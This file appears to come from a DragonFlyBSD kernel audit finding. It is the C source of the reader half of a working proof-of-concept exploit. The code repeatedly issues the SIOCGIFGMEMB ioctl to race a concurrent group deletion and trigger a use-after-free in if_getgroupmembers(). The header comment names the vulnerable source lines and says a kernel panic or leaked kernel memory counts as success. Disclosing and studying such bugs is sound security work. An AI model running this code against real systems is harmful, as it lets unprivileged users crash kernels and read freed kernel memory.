⬢ DragonFlyBSD Kernel Audit
DF-3280 / gmembr_reader.c
← back to finding ↓ download raw
/*
 * DF-3280 PoC - unprivileged side (reader).
 *
 * Hammer SIOCGIFGMEMB on group "rgrpA" in the two-phase protocol
 * (query length, then fetch members).  Race window: if_getgroupmembers()
 * caches the struct ifg_group * found in its first critical section,
 * releases ifgroup_lock, kmalloc()s, re-acquires the lock and walks
 * ifg->ifg_members through the stale pointer (sys/net/if.c:1350-1363).
 * A concurrent SIOCDIFGROUP that drops the last member frees the group
 * (if_destroygroup -> kfree) inside that window => use-after-free walk.
 *
 * Anomalies printed:
 *   - member name other than "lo0" (freed/reused kernel memory copied out)
 * Kernel panic (check serial console) is the primary success signal.
 */
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define GRP_DEFAULT "rgrpA"

int main(int argc, char *argv[])
{
	const char *GRP = argc > 1 ? argv[1] : GRP_DEFAULT;
	struct ifgroupreq q;
	struct ifg_req *reqs;
	u_int len;
	int s, i;
	unsigned long ok = 0, enoent = 0, einval = 0, anom = 0, iters = 0;
	time_t t0 = time(NULL), tl = t0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }
	printf("[reader] started pid=%d\n", getpid());
	fflush(stdout);

	for (;;) {
		if (time(NULL) - tl >= 10) {
			tl = time(NULL);
			printf("[reader] iters=%lu ok=%lu enoent=%lu einval=%lu anom=%lu (t=%ld)\n",
			       iters, ok, enoent, einval, anom, time(NULL) - t0);
			fflush(stdout);
		}

		/* phase 1: length query */
		memset(&q, 0, sizeof(q));
		strlcpy(q.ifgr_name, GRP, sizeof(q.ifgr_name));
		q.ifgr_len = 0;
		if (ioctl(s, SIOCGIFGMEMB, &q) < 0) {
			if (errno == ENOENT) { enoent++; continue; }
			if (errno == EINVAL) { einval++; continue; }
			perror("phase1");
			usleep(1000);
			continue;
		}
		len = q.ifgr_len;
		if (len == 0 || len > 65536)
			continue;
		reqs = calloc(1, len);
		if (reqs == NULL)
			continue;

		/* phase 2: fetch members (UAF window is inside this ioctl) */
		memset(&q, 0, sizeof(q));
		strlcpy(q.ifgr_name, GRP, sizeof(q.ifgr_name));
		q.ifgr_len = len;
		q.ifgr_groups = reqs;
		if (ioctl(s, SIOCGIFGMEMB, &q) < 0) {
			if (errno == ENOENT) enoent++;
			else if (errno == EINVAL) einval++;
			else perror("phase2");
		} else {
			ok++;
			for (i = 0; (u_int)(i * sizeof(struct ifg_req)) < len; i++) {
				if (strcmp(reqs[i].ifgrq_member, "lo0") != 0) {
					/* only legit member is lo0 */
					anom++;
					printf("[reader] ANOMALY iter=%lu member[%d]='%.16s'\n",
					       iters, i, reqs[i].ifgrq_member);
					fflush(stdout);
				}
			}
		}
		free(reqs);
		iters++;
	}
	return 0;
}